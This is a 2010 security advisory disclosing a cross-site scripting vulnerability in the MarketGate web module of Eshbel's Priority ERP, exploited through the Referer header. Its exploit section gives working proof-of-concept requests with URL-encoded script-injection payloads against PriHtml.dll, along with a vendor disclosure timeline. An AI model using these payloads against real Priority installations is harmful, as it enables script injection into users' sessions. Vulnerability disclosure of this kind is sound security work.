========================================Yaniv Miron aka "Lament" Advisory Feb 27, 2010
Eshbel Priority MarketGate module Cross Site Scripting Vulnerability
========================================
====================I. BACKGROUND
====================Priority=92s ERP

The features listed below are a selection of some of the functionality
available in a selection of the Priority modules.
BI (Business Intelligence), Purchasing, BPM (Business Process Management),
Manufacturing/Production, GL + Financials, Human Resources,
CRM (Customer Relations Management), Project Management,
Order Processing, System Administration, Service and Customer Support,
SDK (Generators), Inventory Control, User Configuration, WMS

http://www.eshbel.com//ERP-Feature.htm 

====================II. DESCRIPTION
====================
A malicious attacker may inject scripts into the Priority=92s ERP application using the "Referer" field.

====================III. ANALYSIS
====================
Exploitation of this vulnerability results in the execution of arbitrary
code using a malicious "Referer" field.

====================IV. EXPLOIT
====================
http://example.com/marketgate/PriHtml.dll/WWWxxxxxxxx 


Referer: http://example.com/marketgate/priorSysMan.htm 

WWWxxxxxxxx=>"'>&_yyyyyyyy=>"'>

-------------------------------------------------------------------------------------------------------------------------------------

Referer: http://example.com/marketgate/priorSysMan.htm 

WWWxxxxxxxx=%3E%22%27%3E%3Cscript%3Ealert%2831337%29%3C%2Fscript%3E&_yyyyyyyy=%3E%22%27%3E%

3Cscript%3Ealert%2831337%29%3C%2Fscript%3E

====================V. DISCLOSURE TIMELINE
====================
Jan 2009 Vulnerability Found
Jan 2009 Vendor Notification
Feb 2010 Public Disclosure

====================VI. CREDIT
====================
Yaniv Miron aka "Lament".
lament@ilhack.org